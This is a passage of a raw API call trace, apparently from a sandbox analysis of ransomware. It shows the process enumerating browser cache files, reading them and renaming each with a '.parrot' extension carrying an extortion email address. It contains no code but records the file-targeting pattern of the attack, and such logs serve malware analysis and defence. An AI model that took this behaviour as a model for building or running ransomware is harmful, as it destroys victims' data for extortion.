[0079.393] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9f32, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x9f32, lpOverlapped=0x0) returned 1 [0079.397] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.400] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\plusone[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\plusone[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\plusone[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\plusone[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.402] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0079.402] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.402] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222e110 | out: hHeap=0x5b0000) returned 1 [0079.406] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.406] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.407] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.407] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1fa, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1fa, lpOverlapped=0x0) returned 1 [0079.408] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.408] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\postmessageRelay[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\postmessagerelay[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\postmessageRelay[1].htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\postmessagerelay[1].htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6d40 | out: hHeap=0x5b0000) returned 1 [0079.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.409] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af530 | out: hHeap=0x5b0000) returned 1 [0079.413] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.414] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.608] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.608] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x19a6f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x19a6f, lpOverlapped=0x0) returned 1 [0079.613] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.617] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\search[1].htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\search[1].htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\search[1].htm.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\search[1].htm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8c40 | out: hHeap=0x5b0000) returned 1 [0079.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0079.620] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.620] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.622] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.622] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c85b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1c85b, lpOverlapped=0x0) returned 1 [0079.629] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.633] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\uhf-west-european-default.min[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\uhf-west-european-default.min[1].css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\uhf-west-european-default.min[1].css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\uhf-west-european-default.min[1].css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af530 | out: hHeap=0x5b0000) returned 1 [0079.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.634] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0079.635] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.635] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.637] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.637] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1687, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1687, lpOverlapped=0x0) returned 1 [0079.638] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.641] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\WebCore.4.19.0.ltr.light.min[1].css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\webcore.4.19.0.ltr.light.min[1].css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\WebCore.4.19.0.ltr.light.min[1].css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\webcore.4.19.0.ltr.light.min[1].css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af530 | out: hHeap=0x5b0000) returned 1 [0079.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8ab8 | out: hHeap=0x5b0000) returned 1 [0079.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220050 | out: hHeap=0x5b0000) returned 1 [0079.644] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0079.645] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbcf47ba0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbcf47ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.712] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbdbb73b0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbdbb73b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbbf829e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x39e68, dwReserved0=0x0, dwReserved1=0x0, cFileName="28-8f3193-f30905ea[1].[cryptonationusa@protonmail.com].parrot", cAlternateFileName="28-8F3~1.PAR")) returned 1 [0079.712] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0079.719] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0079.719] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x467cf930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x467cf930, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.722] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0079.722] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0079.722] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfa36d90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfa36d90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbfa83050, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0xe455, dwReserved0=0x0, dwReserved1=0x0, cFileName="000000929096[1].gif", cAlternateFileName="000000~1.GIF")) returned 1 [0079.722] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.722] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.723] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.724] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe455, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xe455, lpOverlapped=0x0) returned 1 [0079.727] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.728] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\000000929096[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\000000929096[1].gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\000000929096[1].gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\000000929096[1].gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6ee8 | out: hHeap=0x5b0000) returned 1 [0079.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.729] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240f30 | out: hHeap=0x5b0000) returned 1 [0079.730] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.730] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.732] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.732] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2929, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2929, lpOverlapped=0x0) returned 1 [0079.734] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.735] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\1223855322-postmessagerelay[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\1223855322-postmessagerelay[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\1223855322-postmessagerelay[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\1223855322-postmessagerelay[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af960 | out: hHeap=0x5b0000) returned 1 [0079.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.736] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222a0d8 | out: hHeap=0x5b0000) returned 1 [0079.738] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.738] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.739] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.740] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29b, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x29b, lpOverlapped=0x0) returned 1 [0079.740] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.740] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA3e1oO[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa3e1oo[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA3e1oO[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa3e1oo[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.741] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0079.742] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.743] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.744] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.744] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x265, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x265, lpOverlapped=0x0) returned 1 [0079.744] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.744] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA429NP[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa429np[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA429NP[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa429np[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.745] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0079.747] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.747] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.749] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.749] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x252, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x252, lpOverlapped=0x0) returned 1 [0079.749] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.749] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA42pjY[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa42pjy[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA42pjY[1].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa42pjy[1].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.750] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0079.754] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.754] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0079.756] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.756] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x248, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x248, lpOverlapped=0x0) returned 1 [0079.756] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.756] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA61AKN[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa61akn[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\AA61AKN[2].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\aa61akn[2].png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0079.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8f50 | out: hHeap=0x5b0000) returned 1 [0079.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8dc8 | out: hHeap=0x5b0000) returned 1 [0079.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179270 | out: hHeap=0x5b0000) returned 1 [0079.759] SetFilePointerEx (in: hFile=0x27c, 